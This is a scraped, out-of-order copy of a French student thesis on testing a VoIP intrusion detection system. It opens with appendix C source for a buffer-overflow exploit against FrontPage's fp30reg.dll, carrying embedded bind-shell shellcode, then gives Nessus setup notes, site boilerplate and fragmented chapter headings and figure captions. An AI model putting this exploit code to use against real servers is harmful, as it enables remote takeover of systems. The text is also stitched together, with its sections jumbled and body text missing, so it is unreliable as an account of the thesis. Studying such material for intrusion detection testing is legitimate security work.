22 0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88
,
23 0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88
,
24 0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88
,
25 0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88
,
26 0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88
,
27 0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88
,
28 0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88
,
29 0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88
,
30 0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88
,
31 0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89
,
32 0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78
,
33 0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77
,
34 0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03
,
35 0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05
,
36 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98
,
37 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC
,
38 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77
,
39 0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03
,
40 0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8
,
41 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C
,
42 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0
,
43 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03
,
44 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B
,
45 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03
,
46 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48
,
47 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
48 };
49
50 int conn(char ∗ip){
51
52 int sockfd;
53 hrm.sin_family = AF_INET;
54 hrm.sin_port = htons(PORT);
55 hrm.sin_addr.s_addr = inet_addr(ip);
56 bzero(&(hrm.sin_zero),8);
57 sockfd=socket(AF_INET,SOCK_STREAM,0);
58
59 if((connect(sockfd,(struct sockaddr∗)&hrm,sizeof(struct sockaddr)))<0) {
60 perror("Erreur connect");
61 exit(0);
62 }
63 return sockfd;
64 }
65
66 int main(int argc, char ∗argv[]){
67 int x;
68 char ∗ip=argv[1];
69 printf ("Attaque sur: %s \n", ip);
70 x = conn(ip);
71 unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
72 unsigned char packet[3000],data[1500];
73 unsigned char ecx[] = "\xe0\xf3\xd4\x67";

74 unsigned char edi[] = "\xff\xd0\x90\x90";
75 unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
76 unsigned char shortjmp[] = "\xeb\x10";
77
78
79 sprintf(packet,"%sHost: %s\r\nTransfer−Encoding: chunked\r\n",header, ip);
80 //sprintf(packet,"%sHost: %s\r\n",header, ip);
81 memset(data, 0x90, sizeof(data)−1);
82 data[sizeof(data)−1] = ’\x0’;
83 memcpy(&data[16],edi,sizeof(edi)−1);
84 memcpy(&data[20],ecx,sizeof(ecx)−1);
85 memcpy(&data[250+10],shortjmp,sizeof(shortjmp)−1);
86 memcpy(&data[250+14],call,sizeof(call)−1);
87 memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
88 sprintf(packet,"%sContent−Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(
data),data);
89 write(x,packet,strlen(packet));
90 printf("[x] Sending buffer... \n");
91 close(x);
92 }
B
Outils utilisés
Utilisation de Nessus
Fig. B.1: Configuration de la partie Serveur nessusd

B. Outils utilisés 58
Ce premier onglet est utilisé pour configurer le serveur Nessusd.
Fig. B.2: Configuration des plugins
Le deuxième onglet sert à configurer les plugins. En fonction de chacun des plugins, des options sont
disponibles. Il est possible ici en cochant la case correspondante, de spécifier les futures options qui
seront utilisées lors du scan d’un hôte ou d’un réseau.
Fig. B.3: Configuration des options de scan
Ici, nous spécifions les options générales du scan. Cet onglet permet d’ajuster la plage des ports que
l’on souhaite scanner. C’est aussi ici que nous positionnons l’option Safe check, qui, comme son nom
l’indique, permet de limiter les risques lors du scan.
Fig. B.4: Configuration de la portée des tests
Ensuite nous spécifions la portée des tests effectués. Ici nous prenons la classe C entière.
Fig. B.5: Rapport - Nessus
Le rapport généré par Nessus permet de sélectionner chaque machine du réseau détécté. Pour chaque
machine, il fait remonté les services à l’écoute sur le réseau. Pour chaque service il effectue un rapport
sur la sécurité mise en place. Il permet des conseils forts utiles, et, personnellemnent en tout cas,
fait prendre conscicence d’un réel manque de recherche en terme de sécurité lors du déploiement d’un
service quelconque.
C
Journal de travail
Diagramme préliminaire
C. Journal de travail 63

TravailDeDiplomemtg 2007

Transféré par

Informations du document

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

TravailDeDiplomemtg 2007

Transféré par

Droits d'auteur :

Formats disponibles

T

Système de Détection d’Intrusion VoIP :

Déploiement et Test d’un système de détection IDS appliqué à la

Proposé par : e-Xpert Solutions SA

Cahier des charges :

Pour cela il s’agira d’abord de :

Le rapport de Tdp devra contenir

– Une description du banc de test et des attaques VoIP détectées.

1 Introduction à la sécurité de la VOIP 7

2 Fiabilité des filtres VoIP de l’IPS-1 10

3 Architecture des filtres de l’IPS-1 34

4 Tutorial du langage N-Code : Ecriture des filtres 48

5 Résultat des tests des filtres développés 59

Contexte et aperçu des activités

Chapitre 3, Architecture des filtres de l’IPS-1

Les protocoles VoIP

Les attaques VoIP

Quelques solutions faces aux attaques VoIP

2.1 Architecture de l’IPS-1

Fig. 2.1: Architecture de l’IPS-1

IPS-1 Alert concentrator et IPS-1 Server

IPS-1 Management Dashboard

Fig. 2.2: Fenêtre montrant les alertes détectées par la sonde

Fig. 2.3: Les packages et backends contenant les règles de filtrage

2.2 Tests et évaluation des filtres VoIP de l’IPS-1

Fig. 2.4: Réseau de Test

2.2.1 Backend sip/compliance

La règle ALERT ON LOWERCASE METHODS du package sip/compliance consiste à vérifier

Fig. 2.5: Envoi d’une requête invite par SIPNess

Fig. 2.6: Demande d’établissement d’une connexion SIP

Fig. 2.7: Envoi d’une requête “invite” à l’origine de l’attaque

Fig. 2.8: Détection de l’alerte lowercase method alert

MAX UDP PACKET SIZE

Fig. 2.9: Etablissement d’une connexion SIP

Fig. 2.10: Détection de l’alerte sip compliance :udp size alert

Le paquet à l’origine de l’alerte est visible grâce à l’analyseur de trafic Ethereal.

Fig. 2.11: Capture Ethereal indiquant la taille du paquet

Requête contenant la méthode INVITE

Dés l’envoi de cette requête INVITE, une alerte sip_compliance :unknown_methods_alert

Fig. 2.13: Détection de l’alerte sip compliance :unknown method alert

Requête contenant la méthode ACK

Fig. 2.14: Détection de l’alerte sip compliance :unknown method alert

Requête contenant la méthode CANCEL

Fig. 2.16: Demande d’annulation de communication en cours

Fig. 2.17: Détection de l’alerte sip compliance :unknown method alert

Requête contenant la méthode BYE

Fig. 2.21: Détection de l’alerte sip compliance :unknown method alert

2.2.2 Backend sip/uservars

Fig. 2.23: Détection alerte sip uservars :bab method alert

BAD REQUEST URI

Fig. 2.24: Packet BYE

Fig. 2.25: Détection de l’alerte sip uservars :bad uri alert

Fig. 2.27: Envoie d’une requête BYE

2.3 Mise en oeuvre de quelques attaques du Best Practice

Innondation du serveur proxy

Fig. 2.28: Envoi d’un flot de requêtes INVITE au proxy

Fig. 2.29: Envoi d’un flot de requêtes INVITE au proxy

Injection de paquets RTP

Le protocole RTP (Real-Time Transport Protocol) permet d’assurer un service de remise de

Fig. 2.30: En-tête RTP

1. bob initie une communication avec alice.

Fig. 2.31: Injection de paquets RTP lors d’une communication

Fig. 2.32: Envoie d’un paquet bye (1a)